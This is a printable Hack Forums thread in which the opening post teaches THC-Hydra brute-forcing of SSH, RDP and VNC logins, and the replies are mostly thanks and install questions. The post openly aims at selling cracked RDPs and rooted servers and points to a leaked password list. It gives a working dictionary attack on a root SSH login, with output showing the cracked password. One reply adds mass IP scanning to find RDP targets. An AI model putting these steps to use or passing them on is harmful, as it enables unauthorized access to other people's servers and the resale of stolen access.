How to crack RDP/SSH/VNC with THC-Hydra

How to crack RDP/SSH/VNC with THC-Hydra - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: How to crack RDP/SSH/VNC with THC-Hydra (/showthread.php?tid=5348110)

Pages: Pages 1 2

How to crack RDP/SSH/VNC with THC-Hydra - lιgнт yagaмι - Jul 22, 2016

Cracking RDP/SSH/VNC with THC-Hydra

[Image: xhydra.png]

Hey,
Ever wanted to start to sell RDPs, Rooted servers or just play around with cracking servers? Well, today I'm going to show you how.

We're going to use a tool called "THC-Hydra", THC-Hydra is a cracking tool created by thc.org, It supports all your favorite protocols including, but not limited to FTP, FTPS, HTTP/HTTPS (Head, Get & Post), IRC, MSSQL, MySQL, PostgreSQL, PCAnywhere, SMB, SMTP/SMTPS, SOCKS5, Teamspeak, Telnet, VNC, XMPP, and SSH.

That's a mouthful.

To start off I'll be showing you how to install THC-Hydra on Linux, Mac, and Windows.

Linux:
Spoiler (Click to View)

Windows:
Spoiler (Click to View)

Mac:
Spoiler (Click to View)

Basic Usage:
To start off we need wordlists/password lists.
There are lots available for download at http://www.skullsecurity.org/wiki/index.php/Passwords but you can also download my Real Twitter Leak password list: here.

Now that we have wordlists downloaded and hydra installed we can start, this is an example of attacking SSH:

Code 
[dev@Fedora ~]$ hydra -l root -P rockyou.txt 192.168.1.28 ssh

Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-22-07 16:45:19

[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task

[DATA] attacking service ssh on port 22

[STATUS] 185.00 tries/min, 185 tries in 00:01h, 315 todo in 00:02h

[STATUS] 183.00 tries/min, 366 tries in 00:02h, 134 todo in 00:01h

[22][ssh] host: 192.168.1.28 login: root password: toor

[STATUS] attack finished for 192.168.1.28 (waiting for children to finish)

Hydra (http://www.thc.org/thc-hydra) finished at 2011-22-07 16:48:08

Now I'll explain the attack:

-l root selects to use the username root
-P rockyou.txt selects the wordlist rockyou.txt
192.168.1.28 is the target
and ssh is what we want to attack

And it's that simple, with some tweaking you can have it run RDP, VNC and way more.

You can also use the THC-Hydra GUI which makes it easier by running:

Code 
./xhydra

Pretty sure that's the GUI version.

Well, that's about it, if you have any problems, troubles or need help feel free to PM me or Post here.

* - dll999 - Jul 23, 2016

Nice work dude - good simple tutorial. 👍

* - Evanescent - Jul 23, 2016

Nice and simple tutorial. Good work.

* - lιgнт yagaмι - Jul 23, 2016

(Jul 23, 2016 10:30 PM)dll999 Wrote: Nice work dude - good simple tutorial. 👍

Thanks!

(Jul 23, 2016 10:34 PM)Evanescent Wrote: Nice and simple tutorial. Good work.

Thanks! i plan to make more just not sure what to make them on

* - Bachanky7a - Jul 25, 2016

how can i get Rdp's ip ?
and thanks for your Tut

The app won't open for me it appear and dispear in 2 second

* - lιgнт yagaмι - Jul 25, 2016

(Jul 25, 2016 07:03 AM)Bachanky7a Wrote: how can i get Rdp's ip ?
and thanks for your Tut

The app won't open for me it appear and dispear in 2 second

Typically you would scan for it with masscan or similar for lots of ips or nmap or similar for one ip.

are you using the gui version?

* - ZeroCoolAZ - Aug 3, 2016

Clean, simple to read, and easy to pick up on tut. Thanks!

* - lιgнт yagaмι - Aug 3, 2016

(Aug 3, 2016 02:43 PM)ZeroCoolAZ Wrote: Clean, simple to read, and easy to pick up on tut. Thanks!

No problem, i will be making more tutorials soon so watch out for them.

* - RMProductions_ - Aug 5, 2016

I have an OpenSSL error saying the module isn't install? - Fresh copy of Ubuntu 16.04 with no dependencies installed.

* - Zach_Farlow - Aug 5, 2016

omg ive been looking for something like this for weeks man thanks sooooo much.

* - Pharaoh1100 - Aug 5, 2016

OP, what if the secured shell is routed through Tor?

* - Zach_Farlow - Aug 5, 2016

ummm bro all it does is open and close right away with the windows application.

* - phppop - Aug 6, 2016

nice 1 really appreciate very easy to follow up do you mind me sending you pm

* - Kashmiri Hunter - Aug 7, 2016

Something New To Learn.Thanks For sharing.

* - Stirate - Aug 8, 2016

Looks good, thanks for the helpful post.